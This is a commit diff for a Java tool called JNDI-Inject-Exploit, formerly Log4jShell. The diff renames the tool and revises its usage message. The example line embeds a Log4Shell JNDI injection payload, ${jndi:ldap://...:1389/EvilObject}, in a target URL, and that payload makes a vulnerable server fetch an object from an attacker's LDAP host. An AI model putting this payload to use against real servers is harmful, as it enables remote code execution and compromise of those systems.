Update
This commit is contained in:
@@ -110,9 +110,9 @@ public class StartUp {
|
||||
* @description: 打印帮助信息
|
||||
*/
|
||||
private static void printUsage() {
|
||||
System.out.println("Log4jShell Author:SearchNull\n");
|
||||
System.out.println("JNDI-Inject-Exploit Author:SearchNull\n");
|
||||
System.out.println("Usage: \n");
|
||||
System.out.println("java -jar JNDI-Inject-Exploit-0.1-all.jar [options]\n" +
|
||||
System.out.println("java -jar JNDI-Inject-Exploit-[version]-all.jar [options]\n" +
|
||||
"\n" +
|
||||
"Options:\n" +
|
||||
" ip LDAP Server IP(如VPS则指定公网IP)\n" +
|
||||
@@ -122,8 +122,8 @@ public class StartUp {
|
||||
" method 指定HTTP请求方法,默认为GET\n" +
|
||||
" headers 指定HTTP请求头,以分号分隔多个请求头,以=分隔key,value\n" +
|
||||
" body 指定HTTP请求体内容\n" +
|
||||
" proxy 指定HTTP请求使用的代理(eg: 127.0.0.1:8080, 只支持Http/S)");
|
||||
System.out.println("Example: java -jar Log4j2Shell-0.1-all.jar ip=\"192.168.9.176\" url=\"http://192.168.9.120:8190/log?id=$%7bjndi:ldap://192.168.9.176:1389/EvilObject%7d\"");
|
||||
" proxy 指定HTTP请求使用的代理(eg: 127.0.0.1:8080, 只支持Http/S)\n");
|
||||
System.out.println("Example: java -jar JNDI-Inject-Exploit-0.3-all.jar ip=\"192.168.9.176\" url=\"http://192.168.9.120:8190/log?id=$%7bjndi:ldap://192.168.9.176:1389/EvilObject%7d\"");
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
Reference in New Issue
Block a user